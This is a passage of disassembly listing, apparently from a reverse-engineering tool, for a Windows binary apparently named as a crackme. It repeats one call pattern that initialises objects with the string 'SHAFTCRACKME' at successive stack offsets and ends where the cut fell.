nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1238]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1238]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1258]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1258]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1278]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1278]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1298]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1298]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x12b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x12b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x12d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x12d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x12f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x12f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1318]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1318]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1338]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1338]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1358]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1358]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1378]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1378]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1398]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1398]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x13b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x13b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x13d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x13d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x13f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x13f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1418]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1418]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1438]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1438]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1458]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1458]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1478]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1478]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1498]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1498]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x14b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x14b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x14d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x14d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x14f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x14f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1518]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1518]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1538]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1538]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1558]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1558]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1578]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1578]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1598]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1598]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x15b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x15b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x15d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x15d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x15f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x15f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1618]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1618]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1638]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1638]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1658]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1658]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1678]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1678]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1698]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1698]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x16b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x16b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x16d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x16d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x16f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x16f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1718]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1718]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1738]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1738]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1758]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1758]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1778]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1778]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1798]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1798]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x17b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x17b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x17d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x17d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x17f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x17f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1818]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1818]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1838]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1838]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1858]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1858]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1878]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1878]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1898]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1898]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x18b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x18b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x18d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x18d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x18f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x18f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1918]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1918]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1938]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1938]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1958]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1958]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1978]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1978]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1998]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1998]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x19b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x19b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x19d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x19d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x19f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x19f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1a18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1a18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1a38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1a38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1a58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1a58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1a78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1a78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1a98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1a98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1ab8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1ab8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1ad8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1ad8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1af8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1af8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1b18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1b18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1b38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1b38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1b58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1b58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1b78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1b78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1b98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1b98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1bb8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1bb8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1bd8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1bd8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1bf8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1bf8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1c18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1c18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1c38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1c38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1c58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1c58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1c78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1c78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1c98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1c98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1cb8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1cb8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1cd8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1cd8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1cf8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1cf8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1d18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1d18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1d38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1d38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1d58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1d58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1d78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1d78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1d98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1d98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1db8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1db8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1dd8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1dd8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1df8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1df8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1e18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1e18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1e38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1e38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1e58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1e58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1e78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1e78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1e98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1e98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1eb8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1eb8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1ed8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1ed8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1ef8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1ef8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1f18]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1f18]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1f38]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1f38]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1f58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1f58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1f78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1f78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1f98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1f98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1fb8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1fb8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1fd8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1fd8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1ff8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1ff8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2018]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2018]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2038]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2038]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2058]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2058]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2078]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2078]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2098]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2098]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x20b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x20d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x20f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2118]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2118]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2138]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2138]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2158]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2158]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2178]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2178]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2198]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2198]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x21b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x21b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x21d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x21d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x21f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x21f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2218]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2218]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2238]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2238]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2258]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x2258]
